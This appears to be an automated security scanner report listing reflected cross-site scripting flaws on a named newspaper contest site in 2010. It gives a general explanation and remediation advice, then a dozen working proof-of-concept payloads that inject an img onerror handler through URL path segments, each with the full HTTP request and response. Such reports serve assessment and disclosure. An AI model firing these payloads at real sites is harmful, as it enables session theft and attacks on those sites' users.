Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1c88"><img%20src%3da%20onerror%3dalert(1)>81941d39531 was submitted in the REST URL parameter 2. This input was echoed as a1c88\"><img src=a onerror=alert(1)>81941d39531 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/cash10a1c88"><img%20src%3da%20onerror%3dalert(1)>81941d39531/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:06:15 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4821 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a00008d:0; expires=Mon, 01-Nov-10 22:06:17 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f80c"><img%20src%3da%20onerror%3dalert(1)>3a04accbd98 was submitted in the REST URL parameter 2. This input was echoed as 8f80c\"><img src=a onerror=alert(1)>3a04accbd98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/cash10c8f80c"><img%20src%3da%20onerror%3dalert(1)>3a04accbd98/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:03:24 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4822 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000087:0; expires=Mon, 01-Nov-10 22:03:26 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5968"><img%20src%3da%20onerror%3dalert(1)>5a60d03ca79 was submitted in the REST URL parameter 3. This input was echoed as c5968\"><img src=a onerror=alert(1)>5a60d03ca79 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/cash10c/promoc5968"><img%20src%3da%20onerror%3dalert(1)>5a60d03ca79 HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:05:36 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000079:0; expires=Mon, 01-Nov-10 22:05:38 GMT; path=/ Content-Length: 8316
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <link rel="shortcut icon" type=" ...[SNIP]... <body class="promoc5968\"><img src=a onerror=alert(1)>5a60d03ca79"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2ab3"><img%20src%3da%20onerror%3dalert(1)>3b484817c60 was submitted in the REST URL parameter 2. This input was echoed as b2ab3\"><img src=a onerror=alert(1)>3b484817c60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/disco10b2ab3"><img%20src%3da%20onerror%3dalert(1)>3b484817c60/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:02:49 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4822 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a00008d:0; expires=Mon, 01-Nov-10 22:02:51 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 754e9"><img%20src%3da%20onerror%3dalert(1)>7e35690fceb was submitted in the REST URL parameter 2. This input was echoed as 754e9\"><img src=a onerror=alert(1)>7e35690fceb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/fashion10754e9"><img%20src%3da%20onerror%3dalert(1)>7e35690fceb/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:11:30 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4824 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000094:0; expires=Mon, 01-Nov-10 22:11:32 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d42bf"><img%20src%3da%20onerror%3dalert(1)>b396cd31871 was submitted in the REST URL parameter 2. This input was echoed as d42bf\"><img src=a onerror=alert(1)>b396cd31871 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/jetswise10d42bf"><img%20src%3da%20onerror%3dalert(1)>b396cd31871/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:08:07 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4825 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000078:0; expires=Mon, 01-Nov-10 22:08:09 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b52e"><img%20src%3da%20onerror%3dalert(1)>23edeba272d was submitted in the REST URL parameter 2. This input was echoed as 2b52e\"><img src=a onerror=alert(1)>23edeba272d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/juniors102b52e"><img%20src%3da%20onerror%3dalert(1)>23edeba272d/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:06:00 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4824 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000080:0; expires=Mon, 01-Nov-10 22:06:02 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67db0"><img%20src%3da%20onerror%3dalert(1)>05e5d26eb60 was submitted in the REST URL parameter 2. This input was echoed as 67db0\"><img src=a onerror=alert(1)>05e5d26eb60 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/switch1067db0"><img%20src%3da%20onerror%3dalert(1)>05e5d26eb60/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:06:07 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4823 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000075:0; expires=Mon, 01-Nov-10 22:06:09 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d59f9"><img%20src%3da%20onerror%3dalert(1)>16b335ba0dd was submitted in the REST URL parameter 2. This input was echoed as d59f9\"><img src=a onerror=alert(1)>16b335ba0dd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/switch10d59f9"><img%20src%3da%20onerror%3dalert(1)>16b335ba0dd/promoo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:02:44 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4823 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000095:0; expires=Mon, 01-Nov-10 22:02:46 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload affed"><img%20src%3da%20onerror%3dalert(1)>492cab2eaf9 was submitted in the REST URL parameter 2. This input was echoed as affed\"><img src=a onerror=alert(1)>492cab2eaf9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/urban10affed"><img%20src%3da%20onerror%3dalert(1)>492cab2eaf9/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:07:32 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4822 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a000094:0; expires=Mon, 01-Nov-10 22:07:34 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa1f2"><img%20src%3da%20onerror%3dalert(1)>f93c9680c4c was submitted in the REST URL parameter 2. This input was echoed as fa1f2\"><img src=a onerror=alert(1)>f93c9680c4c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/wwe10fa1f2"><img%20src%3da%20onerror%3dalert(1)>f93c9680c4c/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:08:54 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4820 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a00008f:0; expires=Mon, 01-Nov-10 22:08:56 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c932"><img%20src%3da%20onerror%3dalert(1)>e720620fd94 was submitted in the REST URL parameter 2. This input was echoed as 7c932\"><img src=a onerror=alert(1)>e720620fd94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /nydn/zoo107c932"><img%20src%3da%20onerror%3dalert(1)>e720620fd94/promo HTTP/1.1 Host: contest.nydailynews.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 01 Nov 2010 22:02:08 GMT Server: Apache X-Powered-By: PHP/5.2.1 Vary: Accept-Encoding,User-Agent Content-Length: 4820 Connection: close Content-Type: text/html Set-Cookie: Coyote-2-a0a007b=a00009b:0; expires=Mon, 01-Nov-10 22:02:10 GMT; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">